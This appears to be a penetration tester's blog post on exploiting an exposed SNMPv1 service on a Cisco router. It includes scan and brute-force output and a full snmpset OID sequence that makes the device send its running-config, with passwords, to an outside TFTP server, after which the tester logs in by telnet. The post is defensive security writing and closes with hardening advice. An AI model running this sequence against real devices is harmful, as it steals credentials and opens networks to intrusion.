Blog: How-Tos
SNMP – Simply Not My Problem. Or is it?
TL;DR:
- Use SNMPv3; long gone is default community strings, hello complex passwords!
- Remove from the internet, if required, implement a VPN solution to restrict access to only authorised parties.
SNMP is a protocol used for the remote management of devices on a network. By remote, we mean access without physical proximity to the computer, not access to every Tom, Richard and Harry.
Now, SNMP does have its place and if implemented correctly with adequate security controls, can be a great protocol to query and manipulate device configurations on the fly. So, what happens when you leave an insecure SNMP port exposed.
As a tester, we sometimes see SNMP ports in external infrastructure scans. These usually catch our eye, but often aren’t as fruitful as we’d hope for. Public community strings offer us an insight into internal networks and configurations however do not necessarily lead to access of any hosts or services. However, on the odd occasion, we find some SNMP offerings that really can be super FUN!
On a recent test, scanning returned UDP ports offering SNMP. If an SNMP service is identified on a test our first port of call is to run the Nmap SNMP scripts to ascertain the version of the protocol and if any default community strings can be identified.
PORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server; ciscoSystems SNMPv3 server (public) | snmp-info: | enterprise: ciscoSystems | engineIDFormat: mac | engineIDData: | snmpEngineBoots: 4 |_ snmpEngineTime: 17h18m31s
As you can see from the above, we’ve identified the running version of the protocol (v1). Version 1 and 2 both run with community strings (this was updated to passwords for security reasons in v3). By default, community strings are set as public for read only access and private for read and write access. Public strings are bad, they can provide an attacker with a huge array of information about the device and underlying network however, private… this can mean game over!
It is always worth checking for default or easily guessable strings by running a brute force against the port:
PORT STATE SERVICE 161/udp open snmp | snmp-brute: | public - Valid credentials |_ private - Valid credentials
Now this is where it became fun because as a tester we know, sometimes public strings can disclose a vast amount of confidential information that can only be read and not modified, however private strings… well, we have potential to write and modify configurations leaving the door open for a multitude of attacks. At this point we should mention that SNMP output is organised in a Management Information Base (MIB) into OIDs. Manipulating MIBs can cause a number of issues from deleting or modification of configurations to command injection. That is possible through writing scripts into the configuration and executing them.
As we’ve now established access to a write string it may be possible to write to OIDs within the MIB. One possible way is to use the NET-SNMP-EXTEND-MIB. Unfortunately writing to this MIB was declined because the target had the extend functionality disabled, so we had to try plan B.
An output of an snmpwalk command can be seen below illustrating MIB and OID objects:
SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C1900 Software (C1900-UNIVERSALK9-M), Version 15.1(4)M4, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2012 by Cisco Systems, Inc. Compiled Tue 20-Mar-12 17:58 by prod_rel_team SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.1047 DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (150962212) 17 days, 11:20:22.12 SNMPv2-MIB::sysContact.0 = STRING: REDACTED FOR PRIVACY SNMPv2-MIB::sysName.0 = STRING: REDACTED FOR PRIVACY SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 78
Snmpwalk is an SNMP application used to query a network device for a tree of information through SNMP GETNEXT requests. This tool is installed on Linux and more information can be found here: https://linux.die.net/man/1/snmpwalk.
The host was identified as a Cisco device, right? Router, switch, firewall… What if we could extract the running config and read the contents? Well, that’s what we did! We modified a sequence of MIB OIDs to send the running-config of the device to a PTP hosted TFTP server and it succeeded. BINGO!
snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.<Random number> integer 1
– This sets the file transfer protocol to TFTP. The options are TFTP, FTP, RCP, SCP or SFTP
.1.3.6.1.4.1.9.9.96.1.1.1.1.3.<Random number> integer 4
– This sets the type of file to copy over with the value of 4 being the runningConfig. Options here are networkFile, iosFile, startupConfig, runningconfig, terminal or fabricStartupConfig.
.1.3.6.1.4.1.9.9.96.1.1.1.1.4.<Random number> integer 1
– This sets the type of file to copy to. The options here are networkFile, iosFile, startupConfig, runningConfig, terminal or fabricStarupConfig
.1.3.6.1.4.1.9.9.96.1.1.1.1.5.<Random number> ipaddress "<server ip address>"
– This sets the IP address of the remote server receiving the configuration file.
.1.3.6.1.4.1.9.9.96.1.1.1.1.6.<Random number> octetstring "<file name>"
– This sets the file name to save the configuration as.
.1.3.6.1.4.1.9.9.96.1.1.1.1.14.<Random number> integer 4
– This sets the status of the transfer to active
Now for those not familiar with the contents of the running-config, I’ll keep it short and sweet… passwords… passwords encrypted with SHA256, passwords with MD5, reversible type 7 passwords, even passwords in plain text, it can all be there! Alongside this, it is a network configuration file, so it also contains an abundance of information including network topology, routes to other networks and information about internal networks and services.
The following is the running config from the CISCO device; however, all sensitive information has been redacted
! ! No configuration change since last restart version 15.1 no service pad service tcp-keepalives-in service tcp-keepalives-out service timestamps debug datetime msec localtime show-timezone service timestamps log datetime msec localtime show-timezone service password-encryption ! hostname REDACTED FOR PRIVACY boot-start-marker boot-end-marker ! ! security authentication failure rate 3 log security passwords min-length 6 logging buffered 4096 enable secret 4 REDACTED FOR PRIVACY enable password 7 REDACTED FOR PRIVACY ! aaa new-model !
Moving forwards, these passwords can be used for remote access to the device providing the relevant ports are open. In this instance, it was possible to telnet onto the device using the passwords identified above. Thinking like a malicious actor, from here we could modify the configuration, add rules to allow access or even stealing data from the internal networks in plain text, the possibilities are endless. Whilst communications via telnet with these devices is still actively found, modern Cisco devices have SSH enabled which should be considered in favour of telnet due to its strong authentication and encryption methods.
Conclusion
To summarise, using SNMP is an inherent risk if SNMPv3 is not supported. If the device is legacy, default strings should be made complex and strong.
Of course, it goes without saying, every company should consider the requirement of SNMP being offered to the internet. Is it really required? If external access is required, a more in depth approach should be considered regarding the monitoring architecture. This includes the use of a VPN to further protect the protocol and communications.
There are many options for remote network monitoring available today however the vast majority utilise the SNMP protocol for polling. Alternatives include NETCONF or more recently API calls. Every protocol has the ability to be insecure with the wrong security settings.